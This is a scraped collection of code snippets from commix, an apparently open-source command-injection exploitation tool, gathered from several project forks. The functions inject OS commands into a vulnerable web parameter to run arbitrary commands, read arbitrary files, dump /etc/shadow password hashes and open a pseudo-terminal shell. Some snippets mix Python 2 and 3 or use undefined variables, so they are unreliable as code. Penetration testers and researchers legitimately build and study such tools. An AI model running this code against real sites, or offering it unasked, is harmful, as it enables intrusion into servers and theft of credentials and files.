        ps_version = eb_injector.injection_results(response, TAG, cmd)
        ps_version = "".join(str(p) for p in ps_version).replace(" ", "",
                                                                 1)[:-1]
        session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
    else:
        ps_version = session_handler.export_stored_cmd(url, cmd,
                                                       vuln_parameter)
    try:
        if float(ps_version):
            settings.PS_ENABLED = True
            if settings.VERBOSITY_LEVEL >= 1:
                print ""
            # Output PowerShell's version number
            success_msg = "The PowerShell's version number is "
            success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
            sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            success_msg = "The PowerShell's version number is " + ps_version + ".\n"
            output_file.write(
                "    " +
                re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                    "", settings.SUCCESS_SIGN) + success_msg)
            output_file.close()
    except ValueError:
        warn_msg = "Heuristics have failed to identify PowerShell's version, "
        warn_msg += "which means that some payloads or injection techniques may be failed."
        print settings.print_warning_msg(warn_msg)
        settings.PS_ENABLED = False
        checks.ps_check_failed()
コード例 #39
0
ファイル: eb_enumeration.py プロジェクト: jbrahy/commix
def system_information(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):     
  if settings.TARGET_OS == "win":
    settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
  cmd = settings.RECOGNISE_OS        
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    target_os = eb_injector.injection_results(response, TAG)
    target_os = "".join(str(p) for p in target_os).replace(" ", "", 1)[:-1]
    session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
  else:
    target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if target_os:
    if settings.TARGET_OS == "win":
      cmd = settings.WIN_RECOGNISE_HP
    else:
      cmd = settings.RECOGNISE_HP
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
      # Evaluate injection results.
      target_arch = eb_injector.injection_results(response, TAG)
      target_arch = "".join(str(p) for p in target_arch).replace(" ", "", 1)[:-1]
      session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
    else:
      target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if target_arch:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
      sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) The target operating system is " + target_os)
      output_file.write(" and the hardware platform is " + target_arch + ".\n")
    output_file.close()
コード例 #40
0
def file_read(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter):
  file_to_read = menu.options.file_read
  # Execute command
  cmd = "(" + settings.FILE_READ + file_to_read + ")"
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
  shell = eb_injector.injection_results(response, TAG)
  shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
  if shell:
    if menu.options.verbose:
      print ""
    sys.stdout.write(Style.BRIGHT + "(!) Contents of file " + Style.UNDERLINE + file_to_read + Style.RESET_ALL + " : ")
    sys.stdout.flush()
    print shell
  else:
   sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read the '"+ file_to_read + "' file." + Style.RESET_ALL)
   sys.stdout.flush()
コード例 #41
0
ファイル: eb_enumeration.py プロジェクト: x3omdax/commix
def hostname(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
  if settings.TARGET_OS == "win":
    settings.HOSTNAME = settings.WIN_HOSTNAME 
  cmd = settings.HOSTNAME
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
  shell = eb_injector.injection_results(response, TAG)
  if shell:
    if menu.options.verbose:
      print ""
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
    # if not menu.options.verbose:
    #   print ""
    sys.stdout.write(Style.BRIGHT + "(!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
    sys.stdout.flush()
    # Add infos to logs file. 
    output_file = open(filename, "a")
    output_file.write("    (!) The hostname is " + shell + ".\n")
    output_file.close()
コード例 #42
0
ファイル: eb_enumeration.py プロジェクト: jbrahy/commix
def single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
  cmd =  menu.options.os_cmd
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = eb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    if menu.options.verbose:
      print ""
    if shell != "":
      print Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
    else:
      print Back.RED + settings.ERROR_SIGN + "The '" + cmd + "' command, does not return any output." + Style.RESET_ALL 
    sys.exit(0)
コード例 #43
0
ファイル: eb_enumeration.py プロジェクト: cryptedwolf/commix
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  cmd =  menu.options.os_cmd
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = eb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    if settings.VERBOSITY_LEVEL >= 1:
      print ""
    if shell != "":
      print Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
    else:
      err_msg = "The '" + cmd + "' command, does not return any output."
      print settings.print_critical_msg(err_msg) 
    sys.exit(0)
コード例 #44
0
ファイル: eb_file_access.py プロジェクト: 1872892142/commix
def file_read(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  cmd = "(" + settings.FILE_READ + file_to_read + ")"
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
  shell = eb_injector.injection_results(response, TAG)
  shell = "".join(str(p) for p in shell).replace(" ", "", 1)
  if menu.options.verbose:
    print ""
  if shell:
    sys.stdout.write(Style.BRIGHT + "(!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + "' : ")
    sys.stdout.flush()
    print shell
    output_file = open(filename, "a")
    output_file.write("    (!) The contents of file '" + file_to_read + "' : " + shell + ".\n")
    output_file.close()
  else:
   sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read the '"+ file_to_read + "' file." + Style.RESET_ALL + "\n")
   sys.stdout.flush()
コード例 #45
0
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method,
              url, vuln_parameter, alter_shell, filename, timesec):
    file_to_read = menu.options.file_read
    # Execute command
    if settings.TARGET_OS == "win":
        cmd = settings.WIN_FILE_READ + file_to_read
    else:
        cmd = "(" + settings.FILE_READ + file_to_read + ")"
    if session_handler.export_stored_cmd(
            url, cmd, vuln_parameter) == None or menu.options.ignore_session:
        # Command execution results.
        response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
            response = requests.url_reload(url, timesec)
        # Evaluate injection results.
        shell = eb_injector.injection_results(response, TAG, cmd)
        shell = "".join(str(p) for p in shell)
        session_handler.store_cmd(url, cmd, shell, vuln_parameter)
    else:
        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
        print(settings.SINGLE_WHITESPACE)
    if shell:
        info_msg = "The contents of file '"
        info_msg += file_to_read + "'" + Style.RESET_ALL + ": "
        sys.stdout.write(settings.print_bold_info_msg(info_msg))
        sys.stdout.flush()
        print(shell)
        output_file = open(filename, "a")
        info_msg = "The contents of file '"
        info_msg += file_to_read + "' : " + shell + ".\n"
        output_file.write(
            re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                "", settings.INFO_BOLD_SIGN) + info_msg)
        output_file.close()
    else:
        warn_msg = "It seems that you don't have permissions "
        warn_msg += "to read the '" + file_to_read + "' file."
        sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
        sys.stdout.flush()
コード例 #46
0
ファイル: eb_enumeration.py プロジェクト: ROIXppttdr/commix
def system_passwords(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename): 
  cmd = settings.SYS_PASSES            
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
  sys_passes = eb_injector.injection_results(response, TAG)
  if sys_passes :
    sys.stdout.write("(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
    sys.stdout.flush()
    sys_passes = "".join(str(p) for p in sys_passes)
    sys_passes = sys_passes.replace(" ", "\n")
    sys_passes = sys_passes.split( )
    if len(sys_passes) != 0 :
      sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
      sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" )
      output_file.close()
      count = 0
      for line in sys_passes:
        count = count + 1
        try:
          fields = line.split(":")
          if fields[1] != "*" and fields[1] != "!" and fields[1] != "":
            print "  ("+str(count)+") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
            # Add infos to logs file.   
            output_file = open(filename, "a")
            output_file.write("      ("+str(count)+") " + fields[0] + " : " + fields[1])
            output_file.close()
        # Check for appropriate '/etc/shadow' format.
        except IndexError:
          if count == 1 :
            sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that '" + settings.SHADOW_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL + "\n")
          print fields[0]
          output_file = open(filename, "a")
          output_file.write("      " + fields[0])
          output_file.close()
    else:
      sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
      sys.stdout.flush()
      print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "'." + Style.RESET_ALL
コード例 #47
0
def single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method,
                       url, vuln_parameter, alter_shell, filename):
    cmd = menu.options.os_cmd
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     http_request_method, url, vuln_parameter,
                                     alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Evaluate injection results.
        shell = eb_injector.injection_results(response, TAG)
        shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
        session_handler.store_cmd(url, cmd, shell, vuln_parameter)
    else:
        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if shell:
        if menu.options.verbose:
            print ""
        if shell != "":
            print Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
        else:
            print Back.RED + settings.ERROR_SIGN + "The '" + cmd + "' command, does not return any output." + Style.RESET_ALL
        sys.exit(0)
コード例 #48
0
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
  cmd =  menu.options.os_cmd
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    shell = eb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    if shell != "":
      print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
      logs.print_logs_notification(filename, url)
    else:
      err_msg = "The '" + cmd + "' command, does not return any output."
      print settings.print_critical_msg(err_msg) 
    raise SystemExit()
コード例 #49
0
def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): 
  cmd = settings.PS_VERSION
  if alter_shell:
    cmd = cmd.replace("'","\\'")
  else:
    cmd = "\"" + cmd + "\""
  # Evaluate injection results.
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    ps_version = eb_injector.injection_results(response, TAG, cmd)
    ps_version = "".join(str(p) for p in ps_version).replace(" ", "", 1)
    session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
  else:
    ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  try:
    if float(ps_version):
      settings.PS_ENABLED = True
      # Output PowerShell's version number
      success_msg = "The PowerShell's version number is " 
      success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
      sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
      sys.stdout.flush()
      # Add infos to logs file. 
      output_file = open(filename, "a")
      success_msg = "The PowerShell's version number is " + ps_version + ".\n"
      output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
      output_file.close()
  except ValueError:
    warn_msg = "Heuristics have failed to identify the version of Powershell, "
    warn_msg += "which means that some payloads or injection techniques may be failed."
    print settings.print_warning_msg(warn_msg)
    settings.PS_ENABLED = False
    checks.ps_check_failed()
コード例 #50
0
def file_read(separator, TAG, prefix, suffix, http_request_method, url,
              vuln_parameter):
    file_to_read = menu.options.file_read
    # Execute command
    cmd = "(" + settings.FILE_READ + file_to_read + ")"
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     http_request_method, url, vuln_parameter)
    shell = eb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
    if shell:
        if menu.options.verbose:
            print ""
        sys.stdout.write(Style.BRIGHT + "(!) Contents of file " +
                         Style.UNDERLINE + file_to_read + Style.RESET_ALL +
                         " : ")
        sys.stdout.flush()
        print shell
    else:
        sys.stdout.write(
            "\n" + Fore.YELLOW +
            "(^) Warning: It seems that you don't have permissions to read the '"
            + file_to_read + "' file." + Style.RESET_ALL)
        sys.stdout.flush()
コード例 #51
0
ファイル: eb_enumeration.py プロジェクト: cryptedwolf/commix
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  if settings.TARGET_OS == "win":
    settings.HOSTNAME = settings.WIN_HOSTNAME 
  cmd = settings.HOSTNAME
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = eb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    if settings.VERBOSITY_LEVEL >= 1:
      print ""
    success_msg = "The hostname is " +  shell + "."
    sys.stdout.write(settings.print_success_msg(success_msg) + "\n")
    sys.stdout.flush()
    # Add infos to logs file. 
    output_file = open(filename, "a")
    success_msg = "The hostname is " + shell + ".\n"
    output_file.write("    " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
コード例 #52
0
def powershell_version(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename): 
  cmd = settings.PS_VERSION
  if alter_shell:
    cmd = cmd.replace("'","\\'")
  else:
    cmd = "\"" + cmd + "\""
  #Command execution results.
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  # Evaluate injection results.
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    ps_version = eb_injector.injection_results(response, TAG, cmd)
    ps_version = "".join(str(p) for p in ps_version).replace(" ", "", 1)[:-1]
    session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
  else:
    ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  try:
    if float(ps_version):
      settings.PS_ENABLED = True
      if settings.VERBOSITY_LEVEL >= 1:
        print ""
      # Output PowerShell's version number
      success_msg = "The PowerShell's version number is " 
      success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
      sys.stdout.write(new_line + settings.print_success_msg(success_msg) + ".")
      sys.stdout.flush()
      # Add infos to logs file. 
      output_file = open(filename, "a")
      success_msg = "The PowerShell's version number is " + ps_version + ".\n"
      output_file.write("    " + settings.SUCCESS_SIGN + success_msg)
      output_file.close()
  except ValueError:
    warn_msg = "Heuristics have failed to identify PowerShell's version, "
    warn_msg += "which means that some payloads or injection techniques may be failed."
    print settings.print_warning_msg(warn_msg)
    settings.PS_ENABLED = False
    checks.ps_check_failed()
コード例 #53
0
def eb_injection_handler(url, timesec, filename, http_request_method):
  shell = False
  counter = 1
  vp_flag = True
  no_result = True
  export_injection_info = False
  injection_type = "results-based dynamic code evaluation"
  technique = "dynamic code evaluation technique"

  for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
    settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
  settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

  if not settings.LOAD_SESSION:
    url = eb_injector.warning_detection(url, http_request_method)
    info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()
    if settings.VERBOSITY_LEVEL >= 1:
      print("")
          
  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.EVAL_PREFIXES:
      for suffix in settings.EVAL_SUFFIXES:
        for separator in settings.EVAL_SEPARATORS:
          if whitespace == " ":
            whitespace = _urllib.parse.quote(whitespace) 
          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
            try:
              settings.EVAL_BASED_STATE = True
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print(settings.print_critical_msg(err_msg))
              raise SystemExit()

          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, timesec, filename, http_request_method)
            
          if not settings.LOAD_SESSION:
            i = i + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))

            randv1 = random.randrange(100)
            randv2 = random.randrange(100)
            randvcalc = randv1 + randv2

            # Define alter shell
            alter_shell = menu.options.alter_shell

            try:
              if alter_shell:
                # Classic -alter shell- decision payload (check if host is vulnerable).
                payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
              else:
                # Classic decision payload (check if host is vulnerable).
                payload = eb_payloads.decision(separator, TAG, randv1, randv2)

              suffix = _urllib.parse.quote(suffix)
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Fixation for specific payload.
              if ")%3B" + _urllib.parse.quote(")}") in payload:
                payload = payload.replace(")%3B" + _urllib.parse.quote(")}"), ")" + _urllib.parse.quote(")}"))
                #payload = payload + TAG + ""

              # Whitespace fixation
              payload = payload.replace(" ", whitespace)
              
              # Perform payload modification
              payload = checks.perform_payload_modification(payload)

              if not settings.TAMPER_SCRIPTS['base64encode'] and \
                   not settings.TAMPER_SCRIPTS['hexencode']:
                payload = payload.replace(" ", "%20")

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL == 1:
                print(settings.print_payload(payload))
              elif settings.VERBOSITY_LEVEL > 1:
                info_msg = "Generating payload for the injection..."
                print(settings.print_info_msg(info_msg))
                print(settings.print_payload(payload)) 

              # Cookie header injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie header injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent HTTP header injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent HTTP header injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer HTTP header injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer HTTP header injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = eb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Host HTTP header injection
              elif settings.HOST_INJECTION == True:
                # Check if target host is vulnerable to host HTTP header injection.
                vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                response = eb_injector.host_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom HTTP header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                found_cookie_injection = False
                # Check if target host is vulnerable.
                response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
      
              # Try target page reload (if it is required).
              if settings.URL_RELOAD:
                response = requests.url_reload(url, timesec)
              # Evaluate test results.
              shell = eb_injector.injection_test_results(response, TAG, randvcalc)
              time.sleep(timesec)

              if not settings.VERBOSITY_LEVEL >= 1:
                percent = ((i*100)/total)
                float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))

                if shell == False:
                  info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + float_percent + "%" + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                  sys.stdout.flush()

                if str(float_percent) == "100.0":
                  if no_result == True:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  else:
                    percent = str(float_percent)+ "%"
                elif len(shell) != 0:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                else:
                  percent = str(float_percent)+ "%"

                info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                sys.stdout.flush()
                
            except KeyboardInterrupt: 
              raise

            except SystemExit: 
              raise
              
            except EOFError:
              err_msg = "Exiting, due to EOFError."
              print(settings.print_error_msg(err_msg))
              raise

            except:
              continue
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False
            # Check injection state
            settings.DETECTION_PHASE = False
            settings.EXPLOITATION_PHASE = True
            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.HOST_INJECTION == True: 
              header_name = " Host"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:    
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'"

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              if not settings.VERBOSITY_LEVEL >= 1:
                print("")
              else:
                checks.total_of_requests()

            # Print the findings to terminal.
            success_msg = "The"
            if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
              success_msg += " " + http_request_method 
            success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print(settings.print_success_msg(success_msg))
            print(settings.SUB_CONTENT_SIGN  + str(checks.url_decode(payload)) + Style.RESET_ALL)
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 
              
            # Check for any enumeration options.
            new_line = True
            if settings.ENUMERATION_DONE == True :
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to enumerate again? [Y/n] > "
                  enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
                else:
                  enumerate_again = ""  
                if len(enumerate_again) == 0:
                  enumerate_again = "y"
                if enumerate_again in settings.CHOICE_YES:
                  eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  # print("")
                  break
                elif enumerate_again in settings.CHOICE_NO:
                  new_line = False
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print(settings.print_error_msg(err_msg))
                  pass
            else:
              if menu.enumeration_options():
                eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
            
            if not menu.file_access_options() and not menu.options.os_cmd and new_line:
              print("")

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print("")
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to access files again? [Y/n] > "
                  file_access_again = _input(settings.print_question_msg(question_msg))
                else:
                  file_access_again = ""
                if len(file_access_again) == 0:
                   file_access_again = "y"
                if file_access_again in settings.CHOICE_YES:
                  eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  print("")
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + file_access_again  + "' is not a valid answer."
                  print(settings.print_error_msg(err_msg))
                  pass
            else:
              if menu.file_access_options():
                # if not menu.enumeration_options():
                #   print("")
                eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                print("")

            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print("")
              eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break
              if not menu.options.batch:
                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                gotshell = _input(settings.print_question_msg(question_msg))
              else:
                gotshell = ""
              if len(gotshell) == 0:
                 gotshell = "y"
              if gotshell in settings.CHOICE_YES:
